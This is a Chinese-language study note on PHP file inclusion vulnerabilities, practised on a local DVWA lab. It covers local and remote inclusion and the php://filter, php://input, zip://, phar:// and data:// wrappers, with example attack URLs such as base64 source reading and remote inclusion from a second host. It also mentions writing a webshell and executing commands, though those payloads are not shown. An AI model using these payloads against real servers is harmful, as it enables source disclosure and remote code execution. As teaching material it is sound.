文件包含学习笔记

文件包含原理

include() include_once() require() require_once() include()和require()的区别：
require()如果在包含过程中出错，就会直接退出，不执行后续语句
include()如果在包含过程中出错，只会提出警告，但不影响后续语句的执行index.php?file=php://filter/read=convert.base64-encode/resource=xxx.php

0x01、什么是文件包含?**

为了更好地使用代码的重用性，引入了文件包含函数，通过文件包含函数将文件包含进来，直接使用包含文件的代码，简单点来说就是一个文件里面包含另外一个或多个文件。

0x02、漏洞成因**

文件包含函数加载的参数没有经过过滤或者严格的定义，可以被用户控制，包含其他恶意文件，导致了执行了非预期的代码。

0x03、php引发文件包含漏洞的四个函数**

include() ：使用此函数，只有代码执行到此函数时才将文件包含进来，发生错误时只警告并继续执行。
inclue_once() ：功能和前者一样，区别在于当重复调用同一文件时，程序只调用一次。
require()：使用此函数，只要程序执行，立即调用此函数包含文件，发生错误时，会输出错误信息并立即终止程序。
require_once() ：功能和前者一样，区别在于当重复调用同一文件时，程序只调用一次。

0x04、文件包含漏洞分类

4.1、本地文件包含漏洞
顾名思义，指的是能打开并包含本地文件的漏洞。大多数情况下遇到的文件包含漏洞都是本地文件包含漏洞。

示例4.1：
以DVWA的靶场环境为例，靶场地址：http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file1.php

把DVWA Security的等级调到Low，在DVWA\vulnerabilities\fi\source\Low.php中有以下代码

在DVWA\vulnerabilities\fi\source\index.php中Low.php又被包含在其中，这就构成了文件包含漏洞，而且被包含的文件还是我们可控的。

在file1同级目录下新建一个名为test.txt的文本文件，内容如下：

访问http://127.0.0.1/DVWA/vulnerabilities/fi/?page=test.txt

文件包含可以包含任意文件，如图片，文本文件，压缩包等等，如果文件中有服务器能识别的脚本语言，就按照当前脚本语言执行，否则就直接显示出源代码。

4.2、远程文件包含漏洞

是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的，因此漏洞一旦存在，危害性会很大。

但远程文件包含漏洞的利用条件较为苛刻，需要php.ini中配置
allow_url_fopen=On
allow_url_include=On

示例4.2：
先打开目标服务器的php.ini文件进行以下相关设置，然后重启服务器

之后在本地新建文件test2.txt，文件内容为：
目标服务器ip：192.168.1.114
本机ip：192.168.1.106
访问http://192.168.1.114/DVWA/vulnerabilities/fi/?page=http://192.168.1.106/test2.txt

0x05、文件包含漏洞之伪协议**

5.1、php://filter
利用条件：
只是读取，所以只需要开启allow_url_fopen，对allow_url_include不做要求
用法：
通过指定末尾文件，可以读取经base64加密后的文件源码，虽然不能直接获取shell等，但能够读取敏感文件，危害还是是挺大的。

示例5.1：
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=test.txt

5.2、php://input
可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行
利用条件：
需要开启allow_url_include=on，对allow_url_fopen不做要求
用法：?file=php://input 数据利用POST传过去。

示例5.2：

也可以写入木马

还可以命令执行

5.3、zip://伪协议
zip://可以访问压缩文件中的文件
条件：使用zip协议，需要将#编码为%23，所以需要PHP 的版本> =5.3.0，要是因为版本的问题无法将#编码成%23，可以手动把#改成%23。
用法：?file=zip://[压缩文件路径]#[压缩文件内的子文件名]

示例5.3：
在本地新建一个文件test.php，并且压缩成test.zip压缩包

要是把压缩包的后缀改为其他任意格式的文件也可以正常使用。

5.4、phar://伪协议
与zip://协议类似，但用法不同，zip://伪协议中是用#把压缩文件路径和压缩文件的子文件名隔开，而phar://伪协议中是用/把压缩文件路径和压缩文件的子文件名隔开，即?file=phar://[压缩文件路径]/[压缩文件内的子文件名]

示例5.4：

5.5、data:text/plain
和php伪协议的input类似，也可以执行任意代码，但利用条件和用法不同
条件：allow_url_fopen参数与allow_url_include都需开启
用法1：?file=data:text/plain,
用法2：?file=data:text/plain;base64,编码后的php代码

示例5.5：

注：经base64编码后的加号和等号要手动的url编码，以免浏览器识别不了